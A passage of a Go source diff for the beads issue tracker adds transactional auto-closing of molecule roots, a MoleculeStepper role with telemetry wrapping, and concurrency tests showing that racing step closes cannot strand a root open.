+ for _, test := range []struct { + name string + run func(*testing.T, context.Context, conformance.MoleculeFixture) + }{ + {"CloseAutoClosesTheCompletedRoot", conformance.RunMoleculeCloseAutoClosesTheCompletedRoot}, + {"AutoCloseIsOptInAndRuleBound", conformance.RunMoleculeAutoCloseIsOptInAndRuleBound}, + {"RecloseHealsAStrandedRoot", conformance.RunMoleculeRecloseHealsAStrandedRoot}, + {"BatchCloseAutoClosesTheRootOnce", conformance.RunMoleculeBatchCloseAutoClosesTheRootOnce}, + {"RefusedRootKeepsTheStepClose", conformance.RunMoleculeRefusedRootKeepsTheStepClose}, + {"GuardedRootKeepsTheStepClose", conformance.RunMoleculeGuardedRootKeepsTheStepClose}, + {"StepperClaimsTheNextReadyStepForTheActor", conformance.RunMoleculeStepperClaimsTheNextReadyStepForTheActor}, + {"StepperNeverTakesAStepAnotherActorHolds", conformance.RunMoleculeStepperNeverTakesAStepAnotherActorHolds}, + {"StepperAnswersCompleteAndOutsideAMolecule", conformance.RunMoleculeStepperAnswersCompleteAndOutsideAMolecule}, + {"StepperClaimsAWispStep", conformance.RunMoleculeStepperClaimsAWispStep}, + } { + t.Run(test.name, func(t *testing.T) { test.run(t, ctx, fixture) }) + } +} + +func newUOWMoleculeFixture(t *testing.T, provider UnitOfWorkProvider, prefix string) conformance.MoleculeFixture { + t.Helper() + lifecycle, err := NewIssueOperations(provider) + if err != nil { + t.Fatalf("NewIssueOperations: %v", err) + } + closer, err := NewBatchCloser(provider) + if err != nil { + t.Fatalf("NewBatchCloser: %v", err) + } + source, ok := provider.(MoleculeStepperSource) + if !ok { + t.Fatalf("provider %T does not offer the MoleculeStepper accessor", provider) + } + stepper, err := source.MoleculeStepper() + if err != nil { + t.Fatalf("MoleculeStepper(): %v", err) + } + kit := newUOWRoleFixtureKit(provider, prefix) + return conformance.MoleculeFixture{ + IssuePrefix: kit.IssuePrefix, + Lifecycle: lifecycle, + BatchCloser: closer, + Stepper: stepper, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + } +} + +// seedRacingMoleculeInUOW seeds an auto-closing molecule root with n open +// steps through kit and answers the steps. +func seedRacingMoleculeInUOW(t *testing.T, ctx context.Context, kit roleFixtureKit, root string, n int) []string { + t.Helper() + if err := kit.CreateIssue(ctx, &types.Issue{ID: root, Title: "molecule " + root, IssueType: types.TypeMolecule, Status: types.StatusOpen, Priority: 2}, "tester"); err != nil { + t.Fatalf("seed %s: %v", root, err) + } + steps := make([]string, n) + for i := range steps { + steps[i] = fmt.Sprintf("%s.%d", root, i+1) + if err := kit.CreateIssue(ctx, &types.Issue{ID: steps[i], Title: "step " + steps[i], IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "tester"); err != nil { + t.Fatalf("seed %s: %v", steps[i], err) + } + if err := kit.AddDependency(ctx, &types.Dependency{IssueID: steps[i], DependsOnID: root, Type: types.DepParentChild}, "tester"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", steps[i], root, err) + } + } + return steps +} + +func readStatusInUOW(t *testing.T, ctx context.Context, kit roleFixtureKit, id string) string { + t.Helper() + var status string + if err := kit.QueryScalar(ctx, "SELECT status FROM issues WHERE id = ?", []any{id}, &status); err != nil { + t.Fatalf("read %s status: %v", id, err) + } + return status +} + +// closeTwoStepsInRacingUOWs closes steps[0] and steps[1], each followed by +// this backend's auto-close body (CloseCompletedMoleculeInUOW), in two units +// of work that both decide before either commits, so each reads the other's +// step open: the race's interleaving, made deterministic. Neither may +// auto-close the root. It commits both and answers the two commit errors. +func closeTwoStepsInRacingUOWs(t *testing.T, ctx context.Context, provider UnitOfWorkProvider, steps []string) [2]error { + t.Helper() + var uws [2]UnitOfWork + for i := range uws { + uw, err := provider.NewUOW(ctx) + if err != nil { + t.Fatalf("open unit of work %d: %v", i, err) + } + defer uw.Close(ctx) // no-op after Commit; preserves cleanup on early Fatal. + uws[i] = uw + } + for i, uw := range uws { + if _, err := uw.IssueUseCase().CloseIssueChecked(ctx, steps[i], domain.CloseIssueParams{Reason: "done"}, "tester", false); err != nil { + t.Fatalf("close %s: %v", steps[i], err) + } + auto, err := CloseCompletedMoleculeInUOW(ctx, uw, steps[i], "tester", "") + if err != nil { + t.Fatalf("auto-close after %s: %v", steps[i], err) + } + if auto.Root != nil { + t.Fatalf("close %s auto-closed %s, but in its own unit of work %s is still open", steps[i], auto.Root.ID, steps[1-i]) + } + } + return [2]error{uws[0].Commit(ctx, "close "+steps[0]), uws[1].Commit(ctx, "close "+steps[1])} +} + +// TestMoleculeAutoCloseLastStepsCannotBothMissTheRootInUOW is the unit-of-work +// twin of the dolt store's two-transaction regression: two units of work that +// each close one of a molecule's last two open steps and run this backend's +// auto-close body (CloseCompletedMoleculeInUOW) each read the other's step +// open, so neither closes the root. The coordination cell both rewrite must +// make one commit conflict, or the complete molecule's root is stranded open. +func TestMoleculeAutoCloseLastStepsCannotBothMissTheRootInUOW(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "molrace") + kit := newUOWRoleFixtureKit(provider, "molrace") + root := kit.IssuePrefix + "-race" + + commitErrs := closeTwoStepsInRacingUOWs(t, ctx, provider, seedRacingMoleculeInUOW(t, ctx, kit, root, 2)) + t.Logf("last-step commits: %v", commitErrs) + if commitErrs[0] == nil && commitErrs[1] == nil { + t.Fatalf("stranded molecule: both last-step closes committed and %s is %s with every step closed; one unit of work must conflict", + root, readStatusInUOW(t, ctx, kit, root)) + } + for i, err := range commitErrs { + if err != nil && !isSerializationError(err) { + t.Fatalf("commit %d error = %v, want a serialization conflict", i, err) + } + } +} + +// TestMoleculeAutoCloseSiblingClosesConflictBeforeTheLastStepInUOW is the +// unit-of-work twin of the dolt store's pin on the coordination cell's cost: +// two concurrent sibling closes under an open auto-closing root conflict even +// while a third step keeps the molecule from completing. If this stops +// conflicting, the docs that state the cost are stale. +func TestMoleculeAutoCloseSiblingClosesConflictBeforeTheLastStepInUOW(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "molsib") + kit := newUOWRoleFixtureKit(provider, "molsib") + + commitErrs := closeTwoStepsInRacingUOWs(t, ctx, provider, seedRacingMoleculeInUOW(t, ctx, kit, kit.IssuePrefix+"-siblings", 3)) + t.Logf("sibling commits: %v", commitErrs) + if commitErrs[0] == nil && commitErrs[1] == nil { + t.Fatal("two concurrent sibling closes under an open auto-closing root both committed; want one serialization conflict") + } + for i, err := range commitErrs { + if err != nil && !isSerializationError(err) { + t.Fatalf("commit %d error = %v, want a serialization conflict", i, err) + } + } +} + +// raceMoleculeClosesInUOW seeds an auto-closing molecule of n steps under +// root and closes every step at once through lifecycle, whose RunTxResult +// replays each unit of work that loses the coordination conflict. Every close +// must land, and the root must end closed, reported by exactly one of them. +func raceMoleculeClosesInUOW(t *testing.T, ctx context.Context, kit roleFixtureKit, lifecycle publicops.Lifecycle, root string, n int) { + t.Helper() + steps := seedRacingMoleculeInUOW(t, ctx, kit, root, n) + var ( + start = make(chan struct{}) + wg sync.WaitGroup + results = make([]publicops.CloseResult, n) + errs = make([]error, n) + ) + for i, step := range steps { + wg.Add(1) + go func() { + defer wg.Done() + <-start + results[i], errs[i] = lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "tester", IssueID: step, Reason: "done", AutoCloseMolecule: true, + }) + }() + } + close(start) + wg.Wait() + + reported := 0 + for i, err := range errs { + if err != nil { + t.Fatalf("close %s: %v", steps[i], err) + } + if results[i].AutoClosedMolecule != nil { + reported++ + } + } + if status := readStatusInUOW(t, ctx, kit, root); status != string(types.StatusClosed) { + t.Fatalf("%s is %s after all %d of its steps closed, want closed", root, status, n) + } + if reported != 1 { + t.Errorf("%s was reported by %d closes, want exactly one", root, reported) + } +} + +// TestMoleculeAutoCloseConcurrentLastStepsCloseTheRootInUOW races the closes +// of a molecule's last two steps through this backend's Lifecycle role, whose +// RunTxResult replays the unit of work that loses the coordination conflict: +// in every round the root ends closed, reported by exactly one of the closes. +func TestMoleculeAutoCloseConcurrentLastStepsCloseTheRootInUOW(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "molagg") + kit := newUOWRoleFixtureKit(provider, "molagg") + lifecycle, err := NewIssueOperations(provider) + if err != nil { + t.Fatalf("NewIssueOperations: %v", err) + } + + const rounds = 8 + for round := range rounds { + raceMoleculeClosesInUOW(t, ctx, kit, lifecycle, fmt.Sprintf("%s-race-%d", kit.IssuePrefix, round), 2) + } +} + +// TestMoleculeAutoCloseSiblingFanOutClosesTheRootInUOW is the unit-of-work +// twin of the dolt store's fan-out: all the steps of one molecule closed at +// once serialize on the root's coordination cell, and RunTxResult carries +// every one of them to a commit, closing the root exactly once. +func TestMoleculeAutoCloseSiblingFanOutClosesTheRootInUOW(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "molfan") + kit := newUOWRoleFixtureKit(provider, "molfan") + lifecycle, err := NewIssueOperations(provider) + if err != nil { + t.Fatalf("NewIssueOperations: %v", err) + } + + raceMoleculeClosesInUOW(t, ctx, kit, lifecycle, kit.IssuePrefix+"-fanout", 6) +} diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index 53da8a3b9..d0bafd710 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -242,6 +242,10 @@ func (p *notifyingProvider) BatchGetter() (publicops.BatchGetter, error) { return NewBatchGetter(p) } +func (p *notifyingProvider) MoleculeStepper() (publicops.MoleculeStepper, error) { + return NewMoleculeStepper(p) +} + func (p *notifyingProvider) Counter() (publicops.Counter, error) { return NewCounter(p) } func (p *notifyingProvider) ReadyCounter() (publicops.ReadyCounter, error) { @@ -409,6 +413,7 @@ var ( _ TreeWalkerSource = (*notifyingProvider)(nil) _ GraphCounterSource = (*notifyingProvider)(nil) _ BatchGetterSource = (*notifyingProvider)(nil) + _ MoleculeStepperSource = (*notifyingProvider)(nil) _ CounterSource = (*notifyingProvider)(nil) _ ReadyCounterSource = (*notifyingProvider)(nil) _ ReadyClaimerSource = (*notifyingProvider)(nil) diff --git a/internal/storage/uow/relations.go b/internal/storage/uow/relations.go index 9db1a0815..8e090dc99 100644 --- a/internal/storage/uow/relations.go +++ b/internal/storage/uow/relations.go @@ -48,29 +48,35 @@ func (r *issueRelations) Related(ctx context.Context, request publicops.RelatedR if err := storageissueops.ValidateRelatedRequest(request); err != nil { return nil, err } + return RunTxRead(ctx, r.provider, func(ctx context.Context, uw UnitOfWork) ([]*publicops.RelatedIssue, error) { + return RelatedInUOW(ctx, uw, request) + }) +} + +// RelatedInUOW is the Relations body, run inside the caller's unit of work. +// The request must already be validated. +func RelatedInUOW(ctx context.Context, uw UnitOfWork, request publicops.RelatedRequest) ([]*publicops.RelatedIssue, error) { direction := domain.DepDirectionOut if request.Direction == publicops.RelationIn { direction = domain.DepDirectionIn } - return RunTxRead(ctx, r.provider, func(ctx context.Context, uw UnitOfWork) ([]*publicops.RelatedIssue, error) { - issue, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), request.ID) - if err != nil { - return nil, err - } - filter := domain.DepListFilter{Direction: direction} - var items []*publicops.RelatedIssue - if isWisp { - items, err = uw.DependencyUseCase().ListWispWithIssueMetadata(ctx, issue.ID, filter) - } else { - items, err = uw.DependencyUseCase().ListWithIssueMetadata(ctx, issue.ID, filter) - } - if err != nil { - return nil, err - } - // The filter runs HERE rather than in the use-case call above so both - // implementations narrow and order through one function; passing - // filter.Types down would put the narrowing in the query on one side - // and in Go on the other. - return storageissueops.FinishRelatedPage(items, request.Types), nil - }) + issue, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), request.ID) + if err != nil { + return nil, err + } + filter := domain.DepListFilter{Direction: direction} + var items []*publicops.RelatedIssue + if isWisp { + items, err = uw.DependencyUseCase().ListWispWithIssueMetadata(ctx, issue.ID, filter) + } else { + items, err = uw.DependencyUseCase().ListWithIssueMetadata(ctx, issue.ID, filter) + } + if err != nil { + return nil, err + } + // The filter runs HERE rather than in the use-case call above so both + // implementations narrow and order through one function; passing + // filter.Types down would put the narrowing in the query on one side + // and in Go on the other. + return storageissueops.FinishRelatedPage(items, request.Types), nil } diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index ffcf6b7d5..e1446ce6c 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -23,6 +23,7 @@ go_library( "lease_reclaimer.go", "memories.go", "metadata_cas.go", + "molecule_stepper.go", "querier.go", "ready_claimer.go", "ready_counter.go", diff --git a/internal/telemetry/molecule_stepper.go b/internal/telemetry/molecule_stepper.go new file mode 100644 index 000000000..50ec721ac --- /dev/null +++ b/internal/telemetry/molecule_stepper.go @@ -0,0 +1,35 @@ +package telemetry + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// MoleculeStepper returns the inner store's advance surface wrapped in this +// layer's instrumentation. +func (s *InstrumentedStorage) MoleculeStepper() (issueops.MoleculeStepper, error) { + inner, err := s.Unwrap().MoleculeStepper() + if err != nil { + return nil, err + } + return s.WrapMoleculeStepper(inner), nil +} + +// WrapMoleculeStepper instruments molecule advances with this storage layer's +// existing telemetry meter and tracer. +func (s *InstrumentedStorage) WrapMoleculeStepper(inner issueops.MoleculeStepper) issueops.MoleculeStepper { + return &instrumentedMoleculeStepper{storage: s, inner: inner} +} + +type instrumentedMoleculeStepper struct { + storage *InstrumentedStorage + inner issueops.MoleculeStepper +} + +func (m *instrumentedMoleculeStepper) Advance(ctx context.Context, req issueops.AdvanceRequest) (result issueops.AdvanceResult, err error) { + ctx, span, started := m.storage.op(ctx, "MoleculeStepper.Advance") + result, err = m.inner.Advance(ctx, req) + m.storage.done(ctx, span, started, err) + return result, err +} diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 817b49916..d6905629c 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -24,6 +24,9 @@ go_library( "issueops.go", "leasereclaimer.go", "metadatacas.go", + "molecule.go", + "molecule_active.go", + "moleculestepper.go", "querier.go", "reader.go", "reader_ready_scope.go", @@ -51,10 +54,13 @@ go_test( srcs = [ "claimer_external_test.go", "issueops_external_test.go", + "molecule_internal_test.go", + "molecule_test.go", ], + embed = [":issueops"], deps = [ - ":issueops", "//:beads", + "//internal/types", ], ) diff --git a/issueops/batchcloser.go b/issueops/batchcloser.go index bd2861bb1..a2c907bdf 100644 --- a/issueops/batchcloser.go +++ b/issueops/batchcloser.go @@ -69,6 +69,15 @@ type CloseBatchRequest struct { // rule, the same nil-means-nothing-eligible outcome. Restating them here // is how the two would come apart. ClaimNext *ReadyRequest + // AutoCloseMolecule is CloseRequest.AutoCloseMolecule for every item + // that closed or was already closed. It runs after all the closes and + // before ClaimNext, inside the same transaction, so a batch that closes + // several steps of one molecule decides its root once, after every close: + // the root it closed, or its refusal, is reported on the outcome of the + // first item under that root whose Err is nil. An auto-closed root is a + // landing: it is named in the batch's history entry. It does not earn + // ClaimNext's claim on its own. + AutoCloseMolecule bool } // CloseOutcome is what happened to ONE requested item. @@ -85,6 +94,10 @@ type CloseOutcome struct { // OpenChildren is the number of open children observed by a forced close // of this item. It is reported even for an idempotent re-close. OpenChildren int + // AutoClosedMolecule and MoleculeAutoCloseRefusal are + // CloseResult's, for this item, under CloseBatchRequest.AutoCloseMolecule. + AutoClosedMolecule *Issue + MoleculeAutoCloseRefusal string // Err is this item's refusal, and NEVER aborts the rest of the batch. It // carries the same typed close vocabulary Lifecycle.Close returns — // ErrNotFound, ErrCloseBlocked, *CloseOpenChildrenError, diff --git a/issueops/issueops.go b/issueops/issueops.go index 007290a0b..5373b851b 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -395,6 +395,47 @@ type CloseRequest struct { // a miss refuses with ErrVersionMismatch having written nothing. Force // bypasses close policy and never this guard. ExpectedVersion *int64 + // AutoCloseMolecule closes the issue's molecule root IN THE SAME + // TRANSACTION when this close completed it: the root closes itself when + // complete (AutoClosesWhenComplete), it is open, and every step under it + // is now closed (CompletedMolecule). The root close is unforced, guarded + // on the root revision read inside that transaction, and records + // MoleculeAutoCloseReason and this request's Session. + // + // It runs for an idempotent re-close too: the rule is state-derived, so a + // replayed close of the last step heals a root a crash left open. + // + // IT IS OPT-IN because an orchestrator may run its own molecule + // lifecycle (gc closes molecule roots itself); the zero value never + // touches a root. A root close its close policy refuses (a live blocker + // on the root, open children) or a close guard refuses (a template root, a + // pinned root, a root assigned to someone other than Actor — the root + // close is unforced, so each guard holds as it does for a direct close) + // leaves the root open and is reported on + // CloseResult.MoleculeAutoCloseRefusal (IsMoleculeAutoCloseRefusal); it + // never fails the step close. + // + // ANY OTHER FAILURE OF THE ROOT CLOSE FAILS THE STEP'S CLOSE. A storage + // error is returned and rolls the step's close back with it, so a retry + // re-runs both. (The CLI used to close the root after the step's close had + // committed and only warned when that failed, leaving a complete + // molecule's root open.) A write to the root that races this close is not + // such a failure: the two conflict at commit, and the backend's retry + // decides the root again (MoleculeRootClose). + // + // Two closes that finish a molecule's last steps concurrently do not + // strand its root: each close that decides a root first rewrites one + // coordination cell for it, so their transactions conflict at commit and + // the one that retries reads the other's close and closes the root. + // + // THE CELL SERIALIZES SIBLING CLOSES. Every close under an open + // auto-closing root rewrites it, whether or not that close completes the + // molecule, so any two concurrent closes of steps under the same root + // conflict and one of them retries. Under heavy fan-out a close can spend + // its whole retry budget conflicting and then fails with the + // serialization error. Closes under different roots contend only when + // their roots hash to the same cell. + AutoCloseMolecule bool } // ReopenRequest describes an issue reopening. @@ -457,6 +498,15 @@ type CloseResult struct { // OpenChildren is the number of open children observed by a forced close. // It is reported even for an idempotent re-close. OpenChildren int + // AutoClosedMolecule is the molecule root CloseRequest.AutoCloseMolecule + // closed in this close's transaction, as a post-close snapshot with + // labels. Nil when nothing was auto-closed. + AutoClosedMolecule *Issue + // MoleculeAutoCloseRefusal says why a completed molecule's root stayed + // open: its close policy or a close guard refused it + // (IsMoleculeAutoCloseRefusal), in that refusal's own message, the same on + // every backend. Empty otherwise. + MoleculeAutoCloseRefusal string } // ReopenResult reports the post-reopen issue as a detached post-state snapshot diff --git a/issueops/molecule.go b/issueops/molecule.go new file mode 100644 index 000000000..1b787b748 --- /dev/null +++ b/issueops/molecule.go @@ -0,0 +1,869 @@ +package issueops + +import ( + "context" + "errors" + "fmt" + "sort" + + "github.com/steveyegge/beads/internal/types" +) + +// MoleculeTemplateLabel is the label that marks an epic as a template-driven +// molecule root. `bd mol distill` writes it; a poured molecule's root is +// TypeMolecule instead and carries no label. +const MoleculeTemplateLabel = "template" + +// MoleculeReader is the read surface every molecule operation in this file is +// composed over: three roles every backend serves. +// +// - BatchGetter answers the molecule root and the parent walk's candidate +// roots, labeled, in either plane. +// - Relations answers a node's inbound parent-child steps as FULL rows, in +// either plane. +// - EdgeReader answers the parent walk (a step's outgoing parent-child edge) +// and the blocking edges between a molecule's steps. +// +// THE MOLECULE RULES HAVE ONE IMPLEMENTATION, and it is the functions below. +// A caller that reads committed state binds them to the roles +// (NewMoleculeReader). A close that must decide inside its own +// transaction binds them to the same three role BODIES running against that +// transaction (internal/storage/issueops.TxMoleculeReader, and the unit-of-work +// backend's MoleculeReaderInUOW), so a molecule's membership, completion and +// readiness mean one thing on every backend and every route. +// +// Membership is the parent-child EDGE. A child whose id merely looks +// hierarchical (.) but carries no edge is not a step: no role can +// express an id-pattern scan, and a rule only some routes could apply would +// make the same molecule answer differently per route. +type MoleculeReader struct { + BatchGetter + Relations + EdgeReader +} + +// MoleculeReaderOver binds one value that answers all three role reads — an +// in-transaction binding, a test double — as a MoleculeReader. +func MoleculeReaderOver(r interface { + BatchGetter + Relations + EdgeReader +}) MoleculeReader { + return MoleculeReader{BatchGetter: r, Relations: r, EdgeReader: r} +} + +func (r MoleculeReader) usable() bool { + return r.BatchGetter != nil && r.Relations != nil && r.EdgeReader != nil +} + +// moleculeRoleSource is the accessor set a store or a unit-of-work provider +// offers for the three roles a MoleculeReader composes. +type moleculeRoleSource interface { + BatchGetter() (BatchGetter, error) + IssueRelations() (Relations, error) + EdgeReader() (EdgeReader, error) +} + +// NewMoleculeReader binds a MoleculeReader to src's own role accessors, so +// every decorator src wears (hooks, telemetry, policy) stays in the path. src +// is a storage.DoltStorage or a unit-of-work provider. +func NewMoleculeReader(src moleculeRoleSource) (MoleculeReader, error) { + if src == nil { + return MoleculeReader{}, fmt.Errorf("%w: molecule reader needs a role source", ErrValidation) + } + getter, err := src.BatchGetter() + if err != nil { + return MoleculeReader{}, err + } + relations, err := src.IssueRelations() + if err != nil { + return MoleculeReader{}, err + } + edges, err := src.EdgeReader() + if err != nil { + return MoleculeReader{}, err + } + return MoleculeReader{BatchGetter: getter, Relations: relations, EdgeReader: edges}, nil +} + +// IsMoleculeRoot reports whether issue is the root of a molecule: an epic, a +// TypeMolecule root (`bd mol pour`), or anything carrying the template label. +func IsMoleculeRoot(issue *Issue) bool { + if issue == nil { + return false + } + if issue.IssueType == types.TypeEpic || issue.IssueType == types.TypeMolecule { + return true + } + return hasLabel(issue, MoleculeTemplateLabel) +} + +// AutoClosesWhenComplete reports whether a molecule root closes itself when +// its last step closes. Molecule-typed and ephemeral roots do, and so does a +// template-driven epic; an ordinary epic stays open so it becomes explicit, +// close-eligible work instead of closing as a side effect. +func AutoClosesWhenComplete(root *Issue) bool { + if root == nil { + return false + } + if root.IssueType == types.TypeMolecule || root.Ephemeral { + return true + } + return root.IssueType == types.TypeEpic && hasLabel(root, MoleculeTemplateLabel) +} + +func hasLabel(issue *Issue, label string) bool { + for _, l := range issue.Labels { + if l == label { + return true + } + } + return false +} + +// maxMoleculeDepth bounds the parent walk, so a parent-child cycle ends. +const maxMoleculeDepth = 50 + +// MoleculeRoots walks parent-child edges up from every id and answers, for +// each id that belongs to a molecule, the id of its molecule root. An id whose +// topmost ancestor is not a molecule root (IsMoleculeRoot) is omitted, and so +// is an id that names nothing. A root that is itself a molecule root answers +// itself. +// +// The walk is level by level, one edge read per level for every chain at +// once, so its cost is the depth of the deepest chain, not the number of ids. +// A read the backend fails or refuses is RETURNED: answering "not in a +// molecule" for a read that never happened is how a molecule root gets +// stranded open. +func MoleculeRoots(ctx context.Context, r MoleculeReader, ids []string) (map[string]string, error) { + rows, err := moleculeRootRows(ctx, r, ids) + if err != nil { + return nil, err + } + out := make(map[string]string, len(rows)) + for start, root := range rows { + out[start] = root.ID + } + return out, nil +} + +// moleculeRootRows is MoleculeRoots answering each id's molecule root ROW, as +// the walk read it. +func moleculeRootRows(ctx context.Context, r MoleculeReader, ids []string) (map[string]*Issue, error) { + out := map[string]*Issue{} + if len(ids) == 0 { + return out, nil + } + if !r.usable() { + return nil, fmt.Errorf("%w: molecule reads need a reader", ErrValidation) + } + topOf := make(map[string]string, len(ids)) + current := make(map[string]string, len(ids)) + for _, id := range ids { + current[id] = id + } + for depth := 0; depth < maxMoleculeDepth && len(current) > 0; depth++ { + level := distinctValues(current) + parentOf, err := parentChildParents(ctx, r, level) + if err != nil { + return nil, err + } + next := make(map[string]string, len(current)) + for start, at := range current { + if parent, ok := parentOf[at]; ok { + next[start] = parent + } else { + topOf[start] = at + } + } + current = next + } + for start, at := range current { + topOf[start] = at + } + + tops, err := getIssues(ctx, r, distinctValues(topOf)) + if err != nil { + return nil, fmt.Errorf("loading molecule roots: %w", err) + } + for start, top := range topOf { + if root := tops[top]; IsMoleculeRoot(root) { + out[start] = root + } + } + return out, nil +} + +// MoleculeRoot is MoleculeRoots for one id: the id's molecule root, or "" when +// it belongs to no molecule. +func MoleculeRoot(ctx context.Context, r MoleculeReader, id string) (string, error) { + roots, err := MoleculeRoots(ctx, r, []string{id}) + if err != nil { + return "", err + } + return roots[id], nil +} + +// parentChildParents answers each id's first outgoing parent-child target. +func parentChildParents(ctx context.Context, r MoleculeReader, ids []string) (map[string]string, error) { + res, err := r.ReadEdges(ctx, EdgeReadRequest{IDs: ids, Types: []types.DependencyType{types.DepParentChild}}) + if err != nil { + return nil, fmt.Errorf("walking parent-child edges: %w", err) + } + parentOf := make(map[string]string, len(res.Anchors)) + for _, anchor := range res.Anchors { + for _, edge := range anchor.Edges { + if edge != nil && edge.Type == types.DepParentChild { + parentOf[anchor.ID] = edge.DependsOnID + break + } + } + } + return parentOf, nil +} + +// getIssues reads ids through the BatchGetter in batches the role accepts and +// answers them by id. Missing ids are absent. +func getIssues(ctx context.Context, r MoleculeReader, ids []string) (map[string]*Issue, error) { + out := make(map[string]*Issue, len(ids)) + for start := 0; start < len(ids); start += MaxGetManyIDs { + end := min(start+MaxGetManyIDs, len(ids)) + res, err := r.GetMany(ctx, GetManyRequest{IDs: ids[start:end]}) + if err != nil { + return nil, err + } + for _, issue := range res.Issues { + if issue != nil { + out[issue.ID] = issue + } + } + } + return out, nil +} + +func distinctValues(m map[string]string) []string { + seen := make(map[string]bool, len(m)) + out := make([]string, 0, len(m)) + for _, v := range m { + if !seen[v] { + seen[v] = true + out = append(out, v) + } + } + sort.Strings(out) + return out +} + +// MoleculeGraph is a molecule root, every step under it and the edges between +// them. +type MoleculeGraph struct { + // Root is the molecule root, labeled. + Root *Issue + // Issues holds the root first, then every descendant in depth-first + // pre-order of the parent-child edges. + Issues []*Issue + // Dependencies holds every stored edge whose two ends are both in Issues. + Dependencies []*Dependency + // IssueMap indexes Issues by id. + IssueMap map[string]*Issue +} + +// LoadMolecule reads the molecule rooted at rootID: the root, every +// parent-child descendant as a full row, and the edges between them. A root +// that names nothing is ErrNotFound. A parent-child cycle terminates. +func LoadMolecule(ctx context.Context, r MoleculeReader, rootID string) (*MoleculeGraph, error) { + if !r.usable() { + return nil, fmt.Errorf("%w: molecule reads need a reader", ErrValidation) + } + roots, err := getIssues(ctx, r, []string{rootID}) + if err != nil { + return nil, fmt.Errorf("loading molecule %s: %w", rootID, err) + } + root := roots[rootID] + if root == nil { + return nil, fmt.Errorf("%w: molecule %s", ErrNotFound, rootID) + } + g := &MoleculeGraph{Root: root, Issues: []*Issue{root}, IssueMap: map[string]*Issue{root.ID: root}} + if err := loadMoleculeChildren(ctx, r, g, root.ID); err != nil { + return nil, err + } + + ids := make([]string, len(g.Issues)) + for i, issue := range g.Issues { + ids[i] = issue.ID + } + edges, err := r.ReadEdges(ctx, EdgeReadRequest{IDs: ids}) + if err != nil { + return nil, fmt.Errorf("reading molecule %s edges: %w", rootID, err) + } + for _, anchor := range edges.Anchors { + for _, edge := range anchor.Edges { + if edge == nil { + continue + } + if _, ok := g.IssueMap[edge.DependsOnID]; ok { + g.Dependencies = append(g.Dependencies, edge) + } + } + } + return g, nil +} + +func loadMoleculeChildren(ctx context.Context, r MoleculeReader, g *MoleculeGraph, parentID string) error { + children, err := r.Related(ctx, RelatedRequest{ + ID: parentID, + Direction: RelationIn, + Types: []types.DependencyType{types.DepParentChild}, + }) + if errors.Is(err, ErrNotFound) { + return nil + } + if err != nil { + return fmt.Errorf("reading the steps of %s: %w", parentID, err) + } + for _, child := range children { + if child == nil || child.DependencyType != types.DepParentChild { + continue + } + if _, seen := g.IssueMap[child.ID]; seen { + continue + } + issue := child.Issue + g.Issues = append(g.Issues, &issue) + g.IssueMap[issue.ID] = &issue + if err := loadMoleculeChildren(ctx, r, g, issue.ID); err != nil { + return err + } + } + return nil +} + +// MoleculeStepInfo is one node's readiness inside its molecule. +type MoleculeStepInfo struct { + StepID string `json:"step_id"` + Status string `json:"status"` + IsReady bool `json:"is_ready"` // Can start now (no open blocker) + ParallelGroup string `json:"parallel_group"` // Steps sharing a group can run concurrently + BlockedBy []string `json:"blocked_by"` // Open steps blocking this one + Blocks []string `json:"blocks"` // Steps this one blocks + CanParallel []string `json:"can_parallel"` // Steps that can run in parallel with this one +} + +// MoleculeAnalysis is the readiness and parallelism of every node of a +// molecule, root included. +type MoleculeAnalysis struct { + MoleculeID string `json:"molecule_id"` + TotalSteps int `json:"total_steps"` + ReadySteps int `json:"ready_steps"` + ParallelGroups map[string][]string `json:"parallel_groups"` // group id -> step ids + Steps map[string]*MoleculeStepInfo `json:"steps"` +} + +// AnalyzeMolecule computes readiness from the edges inside the molecule +// rather than from the workspace ready query, which excludes ephemeral rows (a +// wisp molecule's steps are ephemeral by definition). A node is ready when it +// is open or in progress and no open node blocks it through a blocks, +// conditional-blocks or waits-for edge. Nodes at the same blocking depth that +// do not block each other share a parallel group. +func AnalyzeMolecule(g *MoleculeGraph) *MoleculeAnalysis { + analysis := &MoleculeAnalysis{ + MoleculeID: g.Root.ID, + TotalSteps: len(g.Issues), + ParallelGroups: make(map[string][]string), + Steps: make(map[string]*MoleculeStepInfo), + } + + blockedBy := make(map[string]map[string]bool) + blocks := make(map[string]map[string]bool) + parentChildren := make(map[string][]string) + for _, issue := range g.Issues { + blockedBy[issue.ID] = make(map[string]bool) + blocks[issue.ID] = make(map[string]bool) + } + for _, dep := range g.Dependencies { + if dep.Type == types.DepParentChild { + parentChildren[dep.DependsOnID] = append(parentChildren[dep.DependsOnID], dep.IssueID) + } + } + for _, dep := range g.Dependencies { + switch dep.Type { + case types.DepBlocks, types.DepConditionalBlocks: + if _, ok := blockedBy[dep.IssueID]; ok { + blockedBy[dep.IssueID][dep.DependsOnID] = true + } + if _, ok := blocks[dep.DependsOnID]; ok { + blocks[dep.DependsOnID][dep.IssueID] = true + } + case types.DepWaitsFor: + children := parentChildren[dep.DependsOnID] + if len(children) == 0 { + continue + } + if types.ParseWaitsForGateMetadata(dep.Metadata) == types.WaitsForAnyChildren && anyClosed(g, children) { + continue + } + // For all-children (and unresolved 